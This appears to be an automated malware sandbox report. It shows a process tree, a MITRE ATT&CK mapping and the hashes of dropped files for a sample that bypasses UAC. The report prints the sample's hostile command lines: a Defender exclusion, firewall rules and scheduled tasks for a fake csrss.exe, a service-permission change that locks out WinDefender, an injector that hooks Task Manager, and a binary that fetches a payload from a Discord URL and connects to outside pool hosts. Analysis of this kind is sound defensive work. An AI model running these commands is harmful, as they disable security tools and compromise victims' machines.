PID 4892 wrote to memory of 4204	4892	dE2ZUYXTjC8Sx9cKfB5K4etG.exe	139
PID 4892 wrote to memory of 4204	4892	dE2ZUYXTjC8Sx9cKfB5K4etG.exe	139
PID 4892 wrote to memory of 4204	4892	dE2ZUYXTjC8Sx9cKfB5K4etG.exe	139
PID 4276 wrote to memory of 1588	4276	QF2HpUI9dMT0RUV2v15k4rOM.exe	143
PID 4276 wrote to memory of 1588	4276	QF2HpUI9dMT0RUV2v15k4rOM.exe	143
PID 4276 wrote to memory of 1588	4276	QF2HpUI9dMT0RUV2v15k4rOM.exe	143
PID 4100 wrote to memory of 1288	4100	regasm.exe	96
PID 4100 wrote to memory of 1288	4100	regasm.exe	96
PID 4100 wrote to memory of 1288	4100	regasm.exe	96
PID 1288 wrote to memory of 5100	1288	UqFZ0Pj7JISRifvO5aTu2h0H.exe	97
PID 1288 wrote to memory of 5100	1288	UqFZ0Pj7JISRifvO5aTu2h0H.exe	97
PID 1288 wrote to memory of 5100	1288	UqFZ0Pj7JISRifvO5aTu2h0H.exe	97
PID 2516 wrote to memory of 1056	2516	h1rdpOnnoWHXmz8j0MG6wwsM.exe	99
PID 2516 wrote to memory of 1056	2516	h1rdpOnnoWHXmz8j0MG6wwsM.exe	99
PID 2516 wrote to memory of 1056	2516	h1rdpOnnoWHXmz8j0MG6wwsM.exe	99
PID 5100 wrote to memory of 5320	5100	cmd.exe	101
PID 5100 wrote to memory of 5320	5100	cmd.exe	101
PID 5100 wrote to memory of 5320	5100	cmd.exe	101
PID 5100 wrote to memory of 5304	5100	cmd.exe	102
PID 5100 wrote to memory of 5304	5100	cmd.exe	102
PID 5100 wrote to memory of 5304	5100	cmd.exe	102
PID 5100 wrote to memory of 5396	5100	cmd.exe	104
PID 5100 wrote to memory of 5396	5100	cmd.exe	104
PID 5100 wrote to memory of 5396	5100	cmd.exe	104
PID 5100 wrote to memory of 5400	5100	cmd.exe	105
PID 5100 wrote to memory of 5400	5100	cmd.exe	105
PID 5100 wrote to memory of 5400	5100	cmd.exe	105
PID 2516 wrote to memory of 5380	2516	h1rdpOnnoWHXmz8j0MG6wwsM.exe	103
PID 2516 wrote to memory of 5380	2516	h1rdpOnnoWHXmz8j0MG6wwsM.exe	103
PID 2516 wrote to memory of 5380	2516	h1rdpOnnoWHXmz8j0MG6wwsM.exe	103

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe

C:\Users\Admin\AppData\Local\Temp\18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe
"C:\Users\Admin\AppData\Local\Temp\18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe" -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:32
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
  2⤵
  - Drops startup file
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Users\Admin\Pictures\h1rdpOnnoWHXmz8j0MG6wwsM.exe
    "C:\Users\Admin\Pictures\h1rdpOnnoWHXmz8j0MG6wwsM.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2516
  - - C:\Users\Admin\AppData\Local\Temp\u1xw.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u1xw.0.exe"
      4⤵
      Executes dropped EXE
      PID:1056
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1056 -s 1008
        5⤵
        Program crash
        
        PID:3812
  - - C:\Users\Admin\AppData\Local\Temp\u1xw.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u1xw.1.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:5380
    - - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        5⤵
        
        PID:3796
- - C:\Users\Admin\Pictures\SBya28cw14PDfts5VWP5VLwI.exe
    "C:\Users\Admin\Pictures\SBya28cw14PDfts5VWP5VLwI.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:820
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2136
  - - C:\Users\Admin\Pictures\SBya28cw14PDfts5VWP5VLwI.exe
      "C:\Users\Admin\Pictures\SBya28cw14PDfts5VWP5VLwI.exe"
      4⤵
      Executes dropped EXE
      Modifies data under HKEY_USERS
      PID:5744
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6120
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:4832
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:2008
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2872
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1912
- - C:\Users\Admin\Pictures\dE2ZUYXTjC8Sx9cKfB5K4etG.exe
    "C:\Users\Admin\Pictures\dE2ZUYXTjC8Sx9cKfB5K4etG.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4892
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4204
  - - C:\Users\Admin\Pictures\dE2ZUYXTjC8Sx9cKfB5K4etG.exe
      "C:\Users\Admin\Pictures\dE2ZUYXTjC8Sx9cKfB5K4etG.exe"
      4⤵
      PID:5036
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4176
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:1960
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:5704
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4636
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5940
- - C:\Users\Admin\Pictures\QF2HpUI9dMT0RUV2v15k4rOM.exe
    "C:\Users\Admin\Pictures\QF2HpUI9dMT0RUV2v15k4rOM.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4276
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1588
  - - C:\Users\Admin\Pictures\QF2HpUI9dMT0RUV2v15k4rOM.exe
      "C:\Users\Admin\Pictures\QF2HpUI9dMT0RUV2v15k4rOM.exe"
      4⤵
      Executes dropped EXE
      Modifies data under HKEY_USERS
      PID:5672
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6060
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:5668
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:616
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6016
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5056
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        
        PID:5416
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5908
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:6004
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:4060
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3632
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2432
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        
        PID:1012
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:1088
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        
        PID:4020
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        
        PID:5900
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        Launches sc.exe
        
        PID:5904
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:508
      - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
        6⤵
        
        PID:5168
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4600
      - C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
        6⤵
        
        PID:5920
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5436
      - C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
        6⤵
        
        PID:4668
- - C:\Users\Admin\Pictures\h57yHzaroaSMPMhdAurV9Q4b.exe
    "C:\Users\Admin\Pictures\h57yHzaroaSMPMhdAurV9Q4b.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4164
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4532
  - - C:\Users\Admin\Pictures\h57yHzaroaSMPMhdAurV9Q4b.exe
      "C:\Users\Admin\Pictures\h57yHzaroaSMPMhdAurV9Q4b.exe"
      4⤵
      Executes dropped EXE
      PID:5660
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6056
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:5776
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:1012
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4204
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1588
- - C:\Users\Admin\Pictures\UqFZ0Pj7JISRifvO5aTu2h0H.exe
    "C:\Users\Admin\Pictures\UqFZ0Pj7JISRifvO5aTu2h0H.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1288
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k move Condos Condos.cmd & Condos.cmd & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5100
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5320
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        5⤵
        
        PID:5304
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5396
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
        5⤵
        
        PID:5400
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 1151
        5⤵
        
        PID:5560
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "MAKINGSICKDIFFERENTIALCONSOLES" Reached
        5⤵
        
        PID:5948
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b Preparation 1151\W
        5⤵
        
        PID:4372
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\1151\Relation.pif
        
        1151\Relation.pif 1151\W
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5216
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 5 127.0.0.1
        5⤵
        Runs ping.exe
        
        PID:2640
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
  2⤵
  PID:752

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\1151\Relation.pif
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\1151\Relation.pif
1⤵
PID:3096

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:5084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
db01a2c1c7e70b2b038edf8ad5ad9826

SHA1
540217c647a73bad8d8a79e3a0f3998b5abd199b

SHA256
413da361d77055dae7007f82b58b366c8783aa72e0b8fbe41519b940c253b38d

SHA512
c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\1151\Relation.pif

Filesize
925KB

MD5
62d09f076e6e0240548c2f837536a46a

SHA1
26bdbc63af8abae9a8fb6ec0913a307ef6614cf2

SHA256
1300262a9d6bb6fcbefc0d299cce194435790e70b9c7b4a651e202e90a32fd49

SHA512
32de0d8bb57f3d3eb01d16950b07176866c7fb2e737d9811f61f7be6606a6a38a5fc5d4d2ae54a190636409b2a7943abca292d6cefaa89df1fc474a1312c695f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Assumptions

Filesize
30KB

MD5
191defa5ed07e4895c30176c816388f8

SHA1
d8eb01573b563dd4ff44664e9011b233f1247bf4

SHA256
1ae053b84dd0e3960ad12010537fcf699647eb38088de8460cc67af9d8a8927b

SHA512
94019365d8ee804c4b8846011cc887ef8776117f654f5eb381006ffceaf338d747d456ad60625135aba84f2313da3444b4a2a4b0a5c8b991fe75c6a7e8940fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Atmosphere

Filesize
4KB

MD5
660f7e19225369777dfffc352434aff7

SHA1
dcb029db311c7bf6b8326ba08c31a38e010c4b83

SHA256
a62207582a6433aece63c4572d82c4a62a08ba07a883846d8c7924485bb644da

SHA512
7a040ecf7713df2aa81f2e87fef0456e2f7a8e832d044946c010331e784d0cff00670319a508e50161cfd5d24b6afe08578d05ccdba3db86e4ee75fec7ab5c7e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Bbw

Filesize
12KB

MD5
7002847fa087b02ea0ef12b456321d35

SHA1
3c8fb2c8c848bdaf28e542d533e00e28a74fd000

SHA256
fb11908020eba9c8e74a4251539fb6ad3023968b3b673f71ccfca64e412b64de

SHA512
d341a9a2e91f7418752fff990e52dc3e3a843b7651b2e9ef97e64a67266648da81962ab5332e9d1cecf18fb3bb4d44aabb2f94567b54005fe0c39c22277881d9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Belly

Filesize
10KB

MD5
65f53277780a48d3c0f07274b525f4c4

SHA1
9f22741f8e291ca07316416eb1565cb32d2da43e

SHA256
fca82be7c83638610f35bb6167446034e9b6a57cfccf9a6e1badcac8453dcb33

SHA512
7d962f27b3c19e678355e5082b9d47131b8fe1e9deaa65aee6b266f2ba83dfbbafd1a670d2702eaeb2e4061805cf55b02cc21881ad38dcf18665243d44ba7e91

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Breakfast

Filesize
62KB

MD5
4cb3dbd1f379b3596a903aed2df61cb3

SHA1
ae1709bc8cb85aac416e63511e95c5934cd48e16

SHA256
a734a1350b8cd30b487587a86911b456fa107edabe4ecdbd7f8c2c1ec528a290

SHA512
d6d186347be0c3ea0b882643bae5dc32a00363e59a98f3fb5803e7078533642f0a9cd7c93f38ef2d4cd4832f4ea64412f4b36ad9bd02c5f4f73666701ca73284

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Cds

Filesize
24KB

MD5
fdb32a6e9e0f2954cb1b14ecc79fed6a

SHA1
13699b7d9c048c82debc03817176746ec1a5f809

SHA256
efa353678b065d2d04e3fec7eebcb607878c2e54bf929c44b2c74aca83ab72c0

SHA512
6b84ab7e50821ab97c5d78ba1ea4ee03d57ab363eaba6f9261667640c0293aeb62075d8c709c0400f7dc25555ee84af57d34ca899c1e6b36688cac6471e7be1b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Chapter

Filesize
54KB

MD5
75b2bb1581932049ff195ad2ca090d4e

SHA1
0c5ae49798bddc824c039ab477e8035d8531b5f6

SHA256
cd029ae05fe48174da1ff8a3ff40bcecf3fda4f452df129c17e68fe7acf9ece0

SHA512
e65c070ca3bb1afefe645cc7cb6bbe3d84ada968e5ff7955f236a46d134410cd33b31b82298e56e9d85e8a349cbfeb2c38585583db860a56b8b554d790a92771

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Chip

Filesize
36KB

MD5
aaf99a2da429134ee8c723a965001742

SHA1
b26ef510ec16f0ab28242acb790764ec53018174

SHA256
08ee275735b41a482db0a32be02c519be429b026c1ad1a0ff9a127dec8562909

SHA512
921818139a6623454c73f983ce69d1315fa2e3136005cf1a6c6040e489e7512403b48e86e4090f5e0a2557baf5cec91b5e671a005a41ff510e25758f402b3bfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Condos

Filesize
25KB

MD5
cdb2932ff35f980158e251eb95392a54

SHA1
f0133b9bc1d06646b537eb3ad6771b17c1b9b397

SHA256
1e8d9429827487572b8a0e4b8b0ff7deab9696d2186075ca1d9df404ecbc88f2

SHA512
53d7f302ed135a1e780be037918f9bb4aae5502b9ca2539719002fe47bf6d1e0b1cae62f4d0c56e55520c66e1fcb4ec515f5046a8ec14c6d613fe417698625b8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Cooper

Filesize
24KB

MD5
8e995591a7a4eb7d7418302ef5d515ae

SHA1
d2c47b03e1b3a37af127ae588871360be4a2d0b6

SHA256
057b1d521d4a083cafee62fd9c2dfefad939f1f9f84f8b1028b948858796021e

SHA512
f8d657b294926bac7ea3d364fce716e21e1247b938cf533edad3e7b9fa43e241ab97aeb1e314264c13b50716663e7f7a75afe77769b48c73d662b64d6714b07f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Custom

Filesize
68KB

MD5
022f3a00000c173b3d0f125b6c3e741a

SHA1
cea8239a58fabbf3f4fbc9bd356ff2a81e32cf45

SHA256
633d4237545cbd53854d48de66769da35527c194ebbfcb29fba5fc9fcc807859

SHA512
826ff7273170d6a0934ffde98c0d28663c4d876e2f2cbc1de0cbc5bf96425c6fd7b20c60af74563df0d1ed2dd5efb84b39d7c9af9624916cfd2e4780cb95eb78

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Dawn

Filesize
26KB

MD5
aa2a5f1c5e1261042a597d67d176eb2e

SHA1
9be24809122b0a4e2ab1fe51a300937e20c7c523

SHA256
4f87e70a75ac736b58605c2690f05b81e1361c0dc9547d1bcfa1fca487a26555

SHA512
d86b726e510be805dc7b222fb892cb5bce5625aeccb3a0c419496aa1bbd1120844eace9149e995d618ef1b9aae3c4c55dfcff2768099adb2766ec9dc8f15f756

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Desert

Filesize
48KB

MD5
fab0f8bc843df7fb4f28dd097cc76a3d

SHA1
9d6f051ca98aec37276fc558c586ad2dfe6a0923

SHA256
3c160730ca9e0ff95bd68887ad99c5cae7a2ca1a2ec923764b48074a87605572

SHA512
17ae111f4c3790766581243cca1569953f0b479750a058acb27fbbc9d736f7cbedb0c59f952c673766ee5739fe594d38ab2b79baf404e3fa6b61b37457becd14

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Headline

Filesize
30KB

MD5
fdb391ac4c45c35508435c9cda69e018

SHA1
3a0d53b20b73bd0cb28d19e3813d75b1d95aff52

SHA256
d7d4f9e34f40549e686f5cc3cb74041848ee38bee8a5293eca7f969c56ba2708

SHA512
55be1e9a7182b3df68a330cf2a9e94839a7d808748d1d4c7bfb2915c2a205339d6b0e5224b9df70b0053f007ccfd7c42aa7fc5a3426bc8759dea6186f167a351

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Ht

Filesize
23KB

MD5
915a9a3892708b7671b95e7490db64ec

SHA1
f37a89fd3d08c7d8e8cea3fd67c4d80c1a996f7d

SHA256
86db30f6a2a4c175274cb45cb1a0d869eb0e272a9157728b021159c04ca74dc4

SHA512
7a2be931c2a4ade3fd2d80a60d9fea221aa288f3c402d66409a35b5c00c81d97615ce80977c67521910ec9e2e106874331c780ce7805a9861bcf7380c2daabe4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\K

Filesize
23KB

MD5
9076bb2763755a369e725b7d90cb9a6e

SHA1
950dab154109608dce3a710daffd494a6c6e56a5

SHA256
3ebd51bcaa3a9912b6f0c7ff47fab1e999334eeab3a179bb16c0f1fcc400b266

SHA512
78563047dfb2542364e3ff09830c6b4117376b6ffde741cb4d6d1f65a7e85f7e92c6610ad6ececa5117258dd498cedf4e93687e9edd117d79062613094e48729

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Lite

Filesize
35KB

MD5
2845984f979b604f1c6b6e749ff30541

SHA1
457a27dbe60f8249e253cdc37ffa11686754bc96

SHA256
275004c4562f9ebf00cab6571e35f59ff1ba48a1f073b134566bd37889f454ab

SHA512
d95792a146ffc4de26eb9f3e41765eb7e0c296aa2993230b69754e6217a1698711edfbf7565783b048bdbd0a2077758a0fd307d3247651429f6e4c52028a4395

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Ooo

Filesize
9KB

MD5
601ebaeaa4c3dca8b085e080911bbbbc

SHA1
6d1608cb089e860e5868ac317629f38d1e5cefbb

SHA256
fb853dab53bf849c8cb2cbda654e90388d060f2f47000e7968b334c56d403981

SHA512
